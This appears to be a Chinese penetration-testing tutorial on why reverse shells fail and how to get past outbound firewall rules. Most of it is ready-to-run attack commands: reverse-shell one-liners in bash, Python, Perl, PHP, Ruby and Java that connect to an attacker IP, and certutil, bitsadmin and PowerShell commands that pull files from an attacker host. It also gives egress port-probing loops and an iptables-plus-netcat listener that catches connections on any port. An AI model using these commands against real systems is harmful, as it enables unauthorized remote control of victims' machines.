反弹shell失败的原因
reverse_shell失败
常规反弹方法失效,curl了一下百度,可以访问(未限制出站ip),curl其他端口可以访问(可能未限制端口)。
这里应该限制了出站协议。
http协议可以出网,ICMP协议可以出网。
这里vps被封了。我们反弹时最好选择443端口或者80端口。
-
反弹shell失败的原因有很多:
- 反弹的命令不存在或当前用户无权限调用bash
- 禁止出站IP(只允许访问特定ip)
- 禁止出站端口(只允许访问特定端口)
- 禁止出站协议(只允许特定协议,如
icmp
、dns
、http
)
反弹的命令不存在或当前用户无权限调用bash
由于这种情况下只局限于Linux,所以不考虑Windows
反弹shell的命令,尽管这么多命令可以反弹shell,但是最终都还是调用bash来反弹,如下:
#确认bash环境
whereis bash
#bash反弹
bash -i >& /dev/tcp/192.168.10.27/4444 0>&1
bash -c "bash -i >& /dev/tcp/192.168.0.189/6666 0>&1" //sh的shell下用这条
#python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.27",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
#Perl反弹
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
#PHP反弹
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3>&3 2>&3");'
#Ruby反弹
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'
#Java反弹
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) p.waitFor()
禁止出站IP
基本无解,除非拿到该网段的其他机器配置端口转发才能反弹shell。
对于这种情况的话,就很麻烦了。如果目标主机设置了严格的策略,只允许主动连接公网指定的IP。这样的话,就没办法反弹shell了。
禁止出站协议
探测HTTP协议
Linux系统可以使用curl命令:
curl http://192.168.10.13
Windows系统可以使用以下命令:
certutil -urlcache -split -f http://192.168.10.13/1
bitsadmin /transfer test http://192.168.10.13/1 c:\1
powershell iwr -Uri http://192.168.10.13/1 -OutFile 1 -UseBasicParsing
探测icmp协议
#tcpdump
sudo tcpdump icmp
#tshark,建议用这条
sudo apt install tshark #允许非root用户捕获数据包
sudo tshark -i eth0 -f "icmp"
探测DNS协议
Windows:nslookup、ping
Linux:nslookup、dig、ping
通过判断能否将域名解析为ip,判断DNS协议是否出网。也可以将域名换成dnslog的域名,再看dnslog能否收到请求
禁止出站端口
如果防火墙上做了限制,只允许该服务器访问公网地址的特定端口。那么,这样的话,我们就必须得找到允许访问的端口了。
这里有一篇文章对这个讲的很好,传送门:照弹不误:出站端口受限环境下反弹Shell的思考
以下是该文的一些思路
Linux系统
对于Linux系统,探测其允许出网的端口,这里使用的是Linux的自带命令,所以适用于每个Linux版本。
#探测指定范围
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i [+]Open[+]" || echo "$i closed";done
#也可以将结果写入文件中
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i [+]Open[+]"|| echo "$i closed";done >> result.txt
#探测常见出网端口
for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i [+]Open[+]" || echo "$i closed";done
Windows系统
#探测端口范围
powershell -c "440..445 | %{tnc -InformationLevel Quiet 220.181.38.148 -port $_}"
#指定端口
powershell -c "53,80,443 | %{tnc -InformationLevel Quiet 220.181.38.148 -port $_}"
#或者
powershell -c "80,81 | %{try {(new-object Net.Sockets.TcpClient).Connect('220.181.38.148',$_);Write-Host "$_ open"} catch {Write-Host "$_ closed"} finally {} }"|findstr /I open
探测的端口范围
可以根据nmap的端口范围探测
nmap -n --top-ports 100 127.0.0.1 -oA foo > /dev/null
grep -i "services\=" foo.xml | sed -r 's/.*services\=\"(.*)(\"\/>)/\1/g'
攻击端的端口请求记录
我们攻击端这边需要有目标机访问的记录,才能更好的判断目标机器是否访问了我们。这样,只要目标机器访问到了我们VPS的任意一个端口,我们这边都能有记录。
#第一步需要关闭vps防火墙
#备份iptables规则
iptables-save > /tmp/firewall.rules
#将所有端口的流量都转发到34444端口
#实际操作时,排除 [1, 1024] 间的系统分配的端口,只捆绑 [1025, 65536] 的端口。还要排除掉反弹shell的端口。所以尽量缩小范围
iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444
#监听34444端口
nc -lvnp 34444
#恢复iptables规则
iptables-restore < /tmp/firewall.rules
写在最后
如果环境允许,再结合结合 MSF 的 reverse_tcp_allports
载荷,甚至可以省去找寻有效端口的步骤,直接反弹 shell。